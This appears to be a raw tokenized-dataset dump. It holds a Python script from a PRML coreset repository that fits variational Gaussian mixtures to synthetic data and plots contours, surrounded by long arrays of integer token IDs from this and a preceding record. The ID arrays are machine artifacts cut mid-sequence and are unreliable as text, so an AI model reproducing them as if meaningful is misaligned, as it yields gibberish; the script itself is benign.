4339,
29889,
4632,
718,
21612,
29889,
305,
4339,
29889,
4632,
19691,
16958,
29889,
305,
4339,
29889,
4632,
29930,
16958,
29889,
305,
4339,
29889,
4632,
6802,
29898,
16958,
29889,
305,
4339,
29889,
4632,
29974,
16958,
29889,
305,
4339,
29889,
4632,
876,
13,
1678,
21612,
29889,
598,
294,
29889,
5679,
308,
353,
29871,
29906,
29945,
29929,
29889,
29946,
13,
1678,
21612,
29889,
7516,
2879,
29889,
4632,
632,
353,
29871,
29896,
29889,
29900,
334,
28386,
29889,
311,
7979,
267,
13,
1678,
21612,
29889,
7516,
2879,
29889,
12632,
795,
353,
448,
29946,
29889,
29900,
334,
28386,
29889,
311,
7979,
267,
13,
1678,
21612,
29889,
12574,
462,
29871,
353,
518,
29941,
1696,
29900,
1696,
28753,
29906,
29945,
29962,
13,
1678,
21612,
29889,
29874,
261,
397,
8739,
29918,
5064,
418,
353,
518,
29941,
29892,
29900,
6653,
29889,
29906,
29945,
29962,
13,
1678,
21612,
29889,
18575,
18884,
353,
7700,
13,
1678,
21612,
29889,
11967,
16414,
1669,
353,
5852,
13,
1678,
21612,
29889,
9812,
29918,
29880,
2027,
1669,
353,
5852,
13,
1678,
21612,
29889,
16626,
29918,
2139,
545,
29918,
3605,
601,
29871,
353,
29871,
29896,
29889,
29900,
13,
268,
13,
1678,
10768,
353,
20134,
7520,
29923,
29889,
25503,
29889,
29956,
886,
29889,
17669,
358,
580,
13,
1678,
10768,
29889,
4039,
462,
259,
353,
525,
29888,
375,
295,
482,
29918,
12864,
29915,
13,
1678,
10768,
29889,
25376,
29918,
9653,
29918,
5479,
353,
29871,
29955,
29889,
29900,
29914,
16958,
29889,
1028,
550,
29889,
4836,
287,
13,
1678,
10768,
29889,
7516,
391,
462,
353,
448,
29906,
29889,
334,
28386,
29889,
12163,
13,
1678,
10768,
29889,
4632,
29918,
305,
536,
29918,
25376,
1678,
353,
29871,
29900,
29889,
29947,
29947,
29871,
13,
1678,
10768,
29889,
29881,
4861,
287,
1705,
29918,
449,
3377,
268,
353,
29871,
29896,
29900,
29889,
29900,
334,
28386,
29889,
12163,
13,
1678,
10768,
29889,
29879,
705,
8961,
29889,
339,
4254,
29918,
305,
536,
29871,
353,
29871,
29946,
29900,
29889,
29900,
29930,
2525,
1169,
29889,
12163,
13,
1678,
10768,
29889,
27996,
2264,
29918,
517,
29918,
305,
536,
1678,
353,
29871,
29900,
29889,
29896,
29947,
13,
308,
13,
1678,
21612,
29889,
17669,
1860,
29889,
4397,
29898,
28192,
29897,
13,
268,
13,
1678,
10768,
353,
20134,
7520,
29923,
29889,
25503,
29889,
29956,
886,
29889,
17669,
358,
580,
13,
1678,
10768,
29889,
4039,
462,
259,
353,
525,
3744,
3377,
29915,
13,
1678,
10768,
29889,
25376,
29918,
9653,
29918,
5479,
353,
29871,
29900,
29889,
29941,
13,
1678,
10768,
29889,
7516,
391,
462,
353,
29871,
29900,
29889,
29900,
334,
28386,
29889,
12163,
13,
1678,
10768,
29889,
4632,
29918,
305,
536,
29918,
25376,
1678,
353,
29871,
29900,
29889,
29941,
29945,
13,
1678,
10768,
29889,
29881,
4861,
287,
1705,
29918,
449,
3377,
268,
353,
29871,
29946,
29889,
29900,
334,
28386,
29889,
12163,
13,
1678,
10768,
29889,
29879,
705,
8961,
29889,
339,
4254,
29918,
305,
536,
29871,
353,
29871,
29906,
29900,
29889,
29900,
334,
28386,
29889,
12163,
13,
1678,
10768,
29889,
27996,
2264,
29918,
517,
29918,
305,
536,
1678,
353,
29871,
29900,
29889,
29896,
13,
268,
13,
1678,
21612,
29889,
17669,
1860,
29889,
4397,
29898,
28192,
29897,
268,
13,
13,
1678,
396,
788,
304,
19716,
13,
1678,
19716,
29889,
4397,
29918,
9700,
29898,
16958,
29897,
13,
13,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
1678,
396,
29871,
383,
375,
295,
482,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
13,
1678,
16451,
295,
482,
353,
20134,
7520,
29923,
29889,
25503,
29889,
29943,
375,
295,
1179,
29889,
29943,
375,
295,
482,
580,
13,
1678,
16451,
295,
482,
29889,
4039,
462,
18884,
353,
525,
29888,
375,
295,
482,
29918,
29890,
29893,
29890,
29915,
13,
1678,
16451,
295,
482,
29889,
4951,
18543,
29889,
29876,
852,
462,
418,
353,
29871,
29900,
29889,
29953,
29945,
13,
1678,
16451,
295,
482,
29889,
4951,
18543,
29889,
18237,
462,
418,
353,
29871,
29900,
29889,
29945,
13,
1678,
16451,
295,
482,
29889,
2848,
29879,
29889,
29876,
852,
462,
539,
353,
29871,
29946,
29889,
29900,
13,
1678,
16451,
295,
482,
29889,
2848,
29879,
29889,
18237,
462,
539,
353,
29871,
29946,
29889,
29900,
13,
1678,
16451,
295,
482,
29889,
2848,
29879,
29889,
29883,
370,
262,
462,
418,
353,
29871,
29896,
29906,
29889,
29900,
13,
1678,
16451,
295,
482,
29889,
2848,
29879,
29889,
7827,
462,
418,
353,
29871,
29906,
29906,
29889,
29900,
13,
1678,
16451,
295,
482,
29889,
2848,
29879,
29889,
1079,
29918,
3493,
462,
353,
29871,
29896,
29889,
29900,
13,
1678,
16451,
295,
482,
29889,
2848,
29879,
29889,
2051,
29918,
3493,
462,
29871,
353,
29871,
29896,
29889,
29900,
259,
13,
1678,
16451,
295,
482,
29889,
2103,
462,
795,
353,
29871,
29947,
29889,
29900,
13,
1678,
16451,
295,
482,
29889,
3545,
29879,
29889,
27525,
398,
462,
1678,
353,
29871,
29941,
29889,
29947,
13,
1678,
16451,
295,
482,
29889,
3545,
29879,
29889,
271,
29918,
339,
4254,
29918,
2848,
3986,
353,
29871,
29941,
29889,
29955,
13,
1678,
16451,
295,
482,
29889,
3545,
29879,
29889,
271,
29918,
17536,
29918,
19252,
29918,
2848,
259,
353,
29871,
29906,
29889,
29945,
13,
1678,
16451,
295,
482,
29889,
3545,
29879,
29889,
271,
29918,
16958,
29918,
4632,
29918,
339,
4254,
29918,
305,
536,
353,
29871,
29946,
29889,
29900,
13,
1678,
16451,
295,
482,
29889,
598,
294,
29889,
2975,
29918,
4836,
287,
1669,
353,
29871,
29896,
29900,
29900,
29889,
13,
1678,
16451,
295,
482,
29889,
598,
294,
29889,
29893,
1803,
287,
462,
539,
353,
29871,
29946,
29900,
29900,
29889,
13,
1678,
16451,
295,
482,
29889,
598,
294,
29889,
8862,
29918,
4836,
287,
795,
353,
29871,
29946,
29900,
29889,
13,
268,
13,
1678,
390,
353,
313,
29888,
375,
295,
482,
29889,
3545,
29879,
29889,
27525,
398,
29899,
29888,
375,
295,
482,
29889,
2103,
6802,
29898,
29888,
375,
295,
482,
29889,
3545,
29879,
29889,
27525,
398,
29899,
29888,
375,
295,
482,
29889,
2103,
29897,
13,
1678,
16451,
295,
482,
29889,
15987,
573,
29918,
29881,
2829,
1308,
1678,
353,
313,
29888,
375,
295,
482,
29889,
2103,
29914,
29906,
718,
16451,
295,
482,
29889,
3545,
29879,
29889,
27525,
398,
29914,
29906,
1846,
16395,
29953,
29946,
9229,
29941,
5575,
29934,
1068,
29946,
1846,
14571,
29953,
29946,
9229,
29896,
29953,
5575,
29934,
1068,
29906,
1846,
13,
1678,
16451,
295,
482,
29889,
29881,
8349,
2556,
29918,
2139,
545,
353,
29871,
29945,
29889,
29900,
29872,
29946,
334,
28386,
29889,
18182,
1052,
396,
5918,
12539,
16712,
12959,
13,
13,
1678,
396,
788,
304,
19716,
13,
1678,
19716,
29889,
4397,
29918,
9700,
29898,
29888,
375,
295,
482,
29897,
13,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
1678,
396,
259,
5383,
833,
12963,
8527,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
268,
13,
13,
1678,
396,
2611,
3656,
403,
278,
10489,
7013,
26062,
3564,
13,
1678,
7013,
833,
12963,
353,
20134,
7520,
29923,
29889,
25503,
29889,
29923,
1089,
1927,
29889,
13724,
29879,
29889,
29911,
332,
833,
12963,
580,
13,
1678,
7013,
833,
12963,
29889,
4039,
353,
525,
29873,
332,
833,
12963,
29915,
13,
13,
1678,
396,
6230,
13,
1678,
7013,
833,
12963,
29889,
4537,
29918,
974,
29918,
996,
1475,
353,
29871,
29906,
29889,
29900,
13,
1678,
7013,
833,
12963,
29889,
344,
744,
955,
29918,
7959,
29918,
386,
23575,
353,
29871,
29906,
29930,
29871,
29896,
29900,
29900,
29900,
29900,
334,
2525,
1169,
29889,
29940,
13,
1678,
13,
1678,
396,
788,
29871,
10489,
7013,
26062,
3564,
330,
29873,
29918,
10599,
304,
278,
19716,
29871,
13,
1678,
19716,
29889,
4397,
29918,
9700,
29898,
29873,
332,
833,
12963,
29897,
539,
13,
13,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
1678,
396,
259,
8980,
29882,
2512,
21940,
25034,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
13,
1678,
736,
19716,
13,
13,
13,
29937,
448,
2683,
2683,
2683,
2683,
23648,
13,
29937,
259,
22402,
278,
12782,
332,
800,
13,
29937,
448,
2683,
2683,
2683,
2683,
807,
13,
13,
1753,
2295,
29879,
29918,
14669,
29898,
345,
29882,
2512,
1125,
13,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
1678,
396,
259,
25455,
12782,
332,
800,
13,
1678,
396,
448,
2683,
2683,
2683,
2683,
29899,
13,
13,
1678,
2295,
29879,
353,
20134,
7520,
29923,
29889,
25503,
29889,
3991,
29879,
29889,
3991,
29889,
7895,
580,
13,
13,
1678,
2967,
29918,
2917,
353,
20134,
7520,
29923,
29889,
25503,
29889,
3991,
29879,
29889,
3991,
29898,
345,
29882,
2512,
29897,
13,
1678,
2967,
29918,
2917,
29889,
4039,
353,
525,
3188,
29915,
13,
1678,
2295,
29879,
29889,
4397,
29898,
3188,
29918,
2917,
29897,
13,
13,
1678,
396,
2309,
29991,
13,
1678,
736,
2295,
29879,
2
] |
[email protected]/figureMoG.py | andresmasegosa/PRML-CoreSets | 0 | 173214 | <reponame>andresmasegosa/PRML-CoreSets
import matplotlib.pyplot as plt
import numpy as np
from sklearn.cluster import KMeans
import inferpy as inf
from sklearn import metrics
from datareduction.variational_gaussian_mixture_DR import VariationalGaussianMixture_DR
from prml.rv import VariationalGaussianMixture
from prml.features import PolynomialFeatures
from prml.linear import (
VariationalLinearRegressor,
VariationalLogisticRegressor
)
from scipy import random, linalg
############## GENERATE DATA ########################
N=1000
K=2
M=10
D=2
np.random.seed(10)
cov = np.random.rand(D,D)
cov = np.dot(cov,cov.transpose())
x_train = np.random.multivariate_normal(np.repeat(5,D),cov,int(N/K))
x_test = np.random.multivariate_normal(np.repeat(5,D),cov,int(N/K))
y_test = np.repeat(0,int(N/K))
for i in range(1,K):
x_train=np.append(x_train, np.random.multivariate_normal(np.repeat(10*i,D),cov,int(N/K)),axis=0)
x_test=np.append(x_test, np.random.multivariate_normal(np.repeat(10*i,D),cov,int(N/K)),axis=0)
y_test = np.append(y_test, np.repeat(i, int(N / K)))
np.take(x_train,np.random.permutation(x_train.shape[0]),axis=0,out=x_train)
a=0
b=15
c=0
d=15
#plt.scatter(x_train[:,0],x_train[:,1])
# plt.figure(0)
# np.random.seed(1234)
# vgmm = VariationalGaussianMixture(n_components=2)
# vgmm.fit(x_train)
# vgmm.mu
#
# plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm.classify(x_train))
# x0, x1 = np.meshgrid(np.linspace(a, b, 100), np.linspace(c, d, 100))
# x = np.array([x0, x1]).reshape(2, -1).T
# plt.contour(x0, x1, np.exp(vgmm.logpdf(x)).reshape(100, 100))
# plt.xlim(-5, 10, 100)
# plt.ylim(-5, 10, 100)
# plt.gca().set_aspect('equal', adjustable='box')
# plt.savefig("./figs/MoG_Artificial_TrueVI.pdf",bbox_inches='tight')
plt.figure(0)
np.random.seed(1234)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=2, cluster_method="SS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_SS_M_2.pdf",bbox_inches='tight')
plt.figure(1)
np.random.seed(12)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="SS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_SS_M_ 10.pdf",bbox_inches='tight')
plt.figure(2)
np.random.seed(10)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=2, cluster_method="NoSS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_NoSS_M_2.pdf",bbox_inches='tight')
plt.figure(3)
np.random.seed(10)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="NoSS")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=50.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_NoSS_M_10.pdf",bbox_inches='tight')
plt.figure(4)
np.random.seed(0)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="random")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=100.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_Random_M_10_0.pdf",bbox_inches='tight')
plt.figure(5)
np.random.seed(123456)
vgmm_dr = VariationalGaussianMixture_DR(n_components=K)
vgmm_dr.fit(x_train, n_clusters=10, cluster_method="random")
vgmm_dr.mu
plt.scatter(x_train[:, 0], x_train[:, 1], c=vgmm_dr.classify(x_train))
x0, x1 = np.meshgrid(np.linspace(a, b, 1000), np.linspace(c, d, 1000))
x = np.array([x0, x1]).reshape(2, -1).T
plt.contour(x0, x1, np.exp(vgmm_dr.logpdf(x)).reshape(1000, 1000))
plt.scatter(vgmm_dr.X_dr['X'][:,0],vgmm_dr.X_dr['X'][:,1], c='k', s=100.0, marker='+')
plt.xlim(a, b, 100)
plt.ylim(c, d, 100)
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig("./figs/MoG_Artificial_Random_M_10_1.pdf",bbox_inches='tight')
plt.show() | [
1,
529,
276,
1112,
420,
29958,
392,
690,
8247,
387,
3628,
29914,
10593,
1988,
29899,
9203,
29903,
1691,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
12655,
408,
7442,
13,
3166,
2071,
19668,
29889,
19594,
1053,
476,
6816,
550,
13,
5215,
10115,
2272,
408,
3041,
13,
3166,
2071,
19668,
1053,
21556,
13,
13,
3166,
848,
9313,
428,
29889,
5927,
1288,
29918,
29887,
17019,
29918,
2460,
15546,
29918,
8353,
1053,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29918,
8353,
13,
3166,
544,
828,
29889,
15291,
1053,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
13,
3166,
544,
828,
29889,
22100,
1053,
2043,
9222,
8263,
3698,
13,
3166,
544,
828,
29889,
10660,
1053,
313,
13,
1678,
9586,
1288,
12697,
4597,
1253,
272,
29892,
13,
1678,
9586,
1288,
3403,
4695,
4597,
1253,
272,
13,
29897,
13,
13,
3166,
4560,
2272,
1053,
4036,
29892,
301,
979,
29887,
13,
13,
7346,
4136,
2277,
402,
1430,
1001,
3040,
360,
8254,
835,
13383,
4136,
29937,
13,
13,
29940,
29922,
29896,
29900,
29900,
29900,
13,
29968,
29922,
29906,
13,
29924,
29922,
29896,
29900,
13,
29928,
29922,
29906,
13,
13,
13,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29896,
29900,
29897,
13,
13,
24542,
353,
7442,
29889,
8172,
29889,
9502,
29898,
29928,
29892,
29928,
29897,
13,
24542,
353,
7442,
29889,
6333,
29898,
24542,
29892,
24542,
29889,
3286,
4220,
3101,
13,
13,
29916,
29918,
14968,
353,
7442,
29889,
8172,
29889,
4713,
27432,
403,
29918,
8945,
29898,
9302,
29889,
14358,
29898,
29945,
29892,
29928,
511,
24542,
29892,
524,
29898,
29940,
29914,
29968,
876,
13,
29916,
29918,
1688,
353,
7442,
29889,
8172,
29889,
4713,
27432,
403,
29918,
8945,
29898,
9302,
29889,
14358,
29898,
29945,
29892,
29928,
511,
24542,
29892,
524,
29898,
29940,
29914,
29968,
876,
13,
29891,
29918,
1688,
353,
7442,
29889,
14358,
29898,
29900,
29892,
524,
29898,
29940,
29914,
29968,
876,
13,
13,
1454,
474,
297,
3464,
29898,
29896,
29892,
29968,
1125,
13,
1678,
921,
29918,
14968,
29922,
9302,
29889,
4397,
29898,
29916,
29918,
14968,
29892,
7442,
29889,
8172,
29889,
4713,
27432,
403,
29918,
8945,
29898,
9302,
29889,
14358,
29898,
29896,
29900,
29930,
29875,
29892,
29928,
511,
24542,
29892,
524,
29898,
29940,
29914,
29968,
8243,
8990,
29922,
29900,
29897,
13,
1678,
921,
29918,
1688,
29922,
9302,
29889,
4397,
29898,
29916,
29918,
1688,
29892,
7442,
29889,
8172,
29889,
4713,
27432,
403,
29918,
8945,
29898,
9302,
29889,
14358,
29898,
29896,
29900,
29930,
29875,
29892,
29928,
511,
24542,
29892,
524,
29898,
29940,
29914,
29968,
8243,
8990,
29922,
29900,
29897,
13,
1678,
343,
29918,
1688,
353,
7442,
29889,
4397,
29898,
29891,
29918,
1688,
29892,
7442,
29889,
14358,
29898,
29875,
29892,
938,
29898,
29940,
847,
476,
4961,
13,
13,
13,
9302,
29889,
19730,
29898,
29916,
29918,
14968,
29892,
9302,
29889,
8172,
29889,
546,
6149,
362,
29898,
29916,
29918,
14968,
29889,
12181,
29961,
29900,
11724,
8990,
29922,
29900,
29892,
449,
29922,
29916,
29918,
14968,
29897,
13,
13,
29874,
29922,
29900,
13,
29890,
29922,
29896,
29945,
13,
29883,
29922,
29900,
13,
29881,
29922,
29896,
29945,
13,
29937,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29900,
1402,
29916,
29918,
14968,
7503,
29892,
29896,
2314,
13,
29937,
14770,
29889,
4532,
29898,
29900,
29897,
13,
29937,
7442,
29889,
8172,
29889,
26776,
29898,
29896,
29906,
29941,
29946,
29897,
13,
29937,
325,
29887,
4317,
353,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29898,
29876,
29918,
14036,
29922,
29906,
29897,
13,
29937,
325,
29887,
4317,
29889,
9202,
29898,
29916,
29918,
14968,
29897,
13,
29937,
325,
29887,
4317,
29889,
2589,
13,
29937,
13,
29937,
14770,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29871,
29900,
1402,
921,
29918,
14968,
7503,
29892,
29871,
29896,
1402,
274,
29922,
29894,
29887,
4317,
29889,
1990,
1598,
29898,
29916,
29918,
14968,
876,
13,
29937,
921,
29900,
29892,
921,
29896,
353,
7442,
29889,
4467,
29882,
7720,
29898,
9302,
29889,
1915,
3493,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
511,
7442,
29889,
1915,
3493,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
876,
13,
29937,
921,
353,
7442,
29889,
2378,
4197,
29916,
29900,
29892,
921,
29896,
14664,
690,
14443,
29898,
29906,
29892,
448,
29896,
467,
29911,
13,
29937,
14770,
29889,
1285,
473,
29898,
29916,
29900,
29892,
921,
29896,
29892,
7442,
29889,
4548,
29898,
29894,
29887,
4317,
29889,
1188,
5140,
29898,
29916,
8106,
690,
14443,
29898,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
876,
13,
29937,
14770,
29889,
29916,
2576,
6278,
29945,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29900,
29897,
13,
29937,
14770,
29889,
29891,
2576,
6278,
29945,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29900,
29900,
29897,
13,
29937,
14770,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
29937,
14770,
29889,
7620,
1003,
703,
6904,
1003,
29879,
29914,
22638,
29954,
29918,
9986,
928,
616,
29918,
5574,
18118,
29889,
5140,
613,
29890,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
13,
572,
29873,
29889,
4532,
29898,
29900,
29897,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29896,
29906,
29941,
29946,
29897,
13,
29894,
29887,
4317,
29918,
7707,
353,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29918,
8353,
29898,
29876,
29918,
14036,
29922,
29968,
29897,
13,
29894,
29887,
4317,
29918,
7707,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
302,
29918,
695,
504,
414,
29922,
29906,
29892,
9867,
29918,
5696,
543,
1799,
1159,
13,
29894,
29887,
4317,
29918,
7707,
29889,
2589,
13,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29871,
29900,
1402,
921,
29918,
14968,
7503,
29892,
29871,
29896,
1402,
274,
29922,
29894,
29887,
4317,
29918,
7707,
29889,
1990,
1598,
29898,
29916,
29918,
14968,
876,
13,
29916,
29900,
29892,
921,
29896,
353,
7442,
29889,
4467,
29882,
7720,
29898,
9302,
29889,
1915,
3493,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29900,
511,
7442,
29889,
1915,
3493,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
29916,
353,
7442,
29889,
2378,
4197,
29916,
29900,
29892,
921,
29896,
14664,
690,
14443,
29898,
29906,
29892,
448,
29896,
467,
29911,
13,
572,
29873,
29889,
1285,
473,
29898,
29916,
29900,
29892,
921,
29896,
29892,
7442,
29889,
4548,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
1188,
5140,
29898,
29916,
8106,
690,
14443,
29898,
29896,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29900,
1402,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29896,
1402,
274,
2433,
29895,
742,
269,
29922,
29945,
29900,
29889,
29900,
29892,
17456,
2433,
29974,
1495,
13,
572,
29873,
29889,
29916,
2576,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
572,
29873,
29889,
7620,
1003,
703,
6904,
1003,
29879,
29914,
22638,
29954,
29918,
9986,
928,
616,
29918,
1799,
29918,
29924,
29918,
29906,
29889,
5140,
613,
29890,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
13,
572,
29873,
29889,
4532,
29898,
29896,
29897,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29896,
29906,
29897,
13,
29894,
29887,
4317,
29918,
7707,
353,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29918,
8353,
29898,
29876,
29918,
14036,
29922,
29968,
29897,
13,
29894,
29887,
4317,
29918,
7707,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
302,
29918,
695,
504,
414,
29922,
29896,
29900,
29892,
9867,
29918,
5696,
543,
1799,
1159,
13,
29894,
29887,
4317,
29918,
7707,
29889,
2589,
13,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29871,
29900,
1402,
921,
29918,
14968,
7503,
29892,
29871,
29896,
1402,
274,
29922,
29894,
29887,
4317,
29918,
7707,
29889,
1990,
1598,
29898,
29916,
29918,
14968,
876,
13,
29916,
29900,
29892,
921,
29896,
353,
7442,
29889,
4467,
29882,
7720,
29898,
9302,
29889,
1915,
3493,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29900,
511,
7442,
29889,
1915,
3493,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
29916,
353,
7442,
29889,
2378,
4197,
29916,
29900,
29892,
921,
29896,
14664,
690,
14443,
29898,
29906,
29892,
448,
29896,
467,
29911,
13,
572,
29873,
29889,
1285,
473,
29898,
29916,
29900,
29892,
921,
29896,
29892,
7442,
29889,
4548,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
1188,
5140,
29898,
29916,
8106,
690,
14443,
29898,
29896,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
572,
29873,
29889,
1557,
2620,
29898,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29900,
1402,
29894,
29887,
4317,
29918,
7707,
29889,
29990,
29918,
7707,
1839,
29990,
2033,
7503,
29892,
29896,
1402,
274,
2433,
29895,
742,
269,
29922,
29945,
29900,
29889,
29900,
29892,
17456,
2433,
29974,
1495,
13,
572,
29873,
29889,
29916,
2576,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29891,
2576,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29897,
13,
572,
29873,
29889,
29887,
1113,
2141,
842,
29918,
294,
1103,
877,
11745,
742,
10365,
519,
2433,
1884,
1495,
13,
572,
29873,
29889,
7620,
1003,
703,
6904,
1003,
29879,
29914,
22638,
29954,
29918,
9986,
928,
616,
29918,
1799,
29918,
29924,
29918,
268,
29896,
29900,
29889,
5140,
613,
29890,
1884,
29918,
262,
6609,
2433,
29873,
523,
1495,
13,
13,
572,
29873,
29889,
4532,
29898,
29906,
29897,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29896,
29900,
29897,
13,
29894,
29887,
4317,
29918,
7707,
353,
9586,
1288,
29954,
17019,
29924,
29875,
15546,
29918,
8353,
29898,
29876,
29918,
14036,
29922,
29968,
29897,
13,
29894,
29887,
4317,
29918,
7707,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
302,
29918,
695,
504,
414,
29922,
29906,
29892,
9867,
29918,
5696,
543,
3782,
1799,
1159,
13,
29894,
29887,
4317,
29918,
7707,
29889,
2589,
13,
13,
572,
29873,
29889,
1557,
2620,
29898,
29916,
29918,
14968,
7503,
29892,
29871,
29900,
1402,
921,
29918,
14968,
7503,
29892,
29871,
29896,
1402,
274,
29922,
29894,
29887,
4317,
29918,
7707,
29889,
1990,
1598,
29898,
29916,
29918,
14968,
876,
13,
29916,
29900,
29892,
921,
29896,
353,
7442,
29889,
4467,
29882,
7720,
29898,
9302,
29889,
1915,
3493,
29898,
29874,
29892,
289,
29892,
29871,
29896,
29900,
29900,
29900,
511,
7442,
29889,
1915,
3493,
29898,
29883,
29892,
270,
29892,
29871,
29896,
29900,
29900,
29900,
876,
13,
29916,
353,
7442,
29889,
2378,
4197,
29916,
29900,
29892,
921,
29896,
14664,
690,
14443,
29898,
29906,
29892,
448,
29896,
